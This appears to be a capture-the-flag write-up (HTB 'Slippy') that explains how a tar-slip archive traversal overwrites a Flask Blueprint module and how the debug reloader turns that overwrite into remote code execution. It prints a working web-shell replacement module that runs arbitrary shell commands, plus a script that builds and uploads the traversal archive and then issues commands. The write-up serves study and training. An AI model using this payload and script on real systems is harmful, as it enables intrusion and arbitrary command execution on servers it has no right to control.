Skip to content
Arbitrary file write to hot-reload RCE

Arbitrary file write to hot-reload RCE

Arbitrary file write to hot-reload RCE

An arbitrary-file-write primitive permits control over the bytes written to a filesystem path. It becomes code execution only when another component later treats those bytes as executable source. A development reloader can provide that second component: it watches selected files, detects a change, rebuilds or restarts the application, then loads the replacement source.

The replacement must remain valid for the surrounding application. Required package names, imports, functions, routes, and other referenced objects must still exist after the reload.

arbitrary file write
-> replace executable or imported source
-> change a file watched by the development reloader
-> rebuild or restart
-> load the replacement source

The source file and reload-trigger file may be the same file. When the reloader does not watch the overwritten source extension, a second write to a watched file triggers the rebuild.

Flask debug reloader

An archive traversal overwrites an imported Python module. The Flask debug reloader watches the modified Python source, restarts the application, and imports the replacement module containing a command-execution route.

Unsafe archive extraction

extractall() processes the member names stored in the TAR archive:

if tarfile.is_tarfile(path):
    tar = tarfile.open(path, "r:gz")
    tar.extractall(tmp)

A traversal member such as ../../../../../../../app/application/blueprints/routes.py escapes tmp and overwrites application source.

Application source is writable

The Flask process runs as root under Supervisor:

[supervisord]
user=root

[program:flask]
command=python /app/run.py

The process identity and target file permissions must allow the extracted member to replace the source file.

Overwritten module is imported

The application imports web and api from the target module and registers both Blueprints:

from application.blueprints.routes import web, api

app.register_blueprint(web, url_prefix="/")
app.register_blueprint(api, url_prefix="/api")

The replacement module must still define both objects or the application restart fails during import.

Flask debug reloader is enabled

app.run(host="0.0.0.0", port=1337, debug=True, use_evalex=False)

debug=True enables the development reloader unless use_reloader=False is set. use_evalex=False disables debugger evaluation but does not disable source reloading.

Replacement module

from flask import Blueprint, request
import subprocess

web = Blueprint("web", __name__)
api = Blueprint("api", __name__)

@api.route("/command", methods=["POST"])
def command():
    command_to_run = request.json["cmd"]
    result = subprocess.run(command_to_run, shell=True, capture_output=True, text=True)
    response = {
        "stdout": result.stdout,
        "stderr": result.stderr,
        "returncode": result.returncode
    }
    response_details = response, 200
    return response_details

Archive delivery

import tarfile

file_to_archive = "routes.py"
name_inside_archive = "../../../../../../../app/application/blueprints/routes.py"

with tarfile.open("payload.tar.gz", "w:gz") as tar:
    tar.add(file_to_archive, arcname=name_inside_archive)

with open("payload.tar.gz", "rb") as f:
    files = {
        "file": ("payload.tar.gz", f, "application/gzip")
    }
    r = s.post(url=UPLOAD_URL, files=files, verify=False, timeout=10, proxies=PROXIES)

After the reload, /api/command reaches the replacement route and returns command output:

json = {
    "cmd": command
}
r = s.post(url=f"{URL}/api/command", json=json, verify=False, timeout=10, proxies=PROXIES)
json_response = r.json()
print(json_response["stdout"])
print(json_response["stderr"])

Find by: tar slip, archive traversal, arbitrary file write, source overwrite, hot reload, development reloader, debug mode, rebuild, restart, Flask debug, imported module, Blueprint, command execution, RCE, chain · Source: HTB/Slippy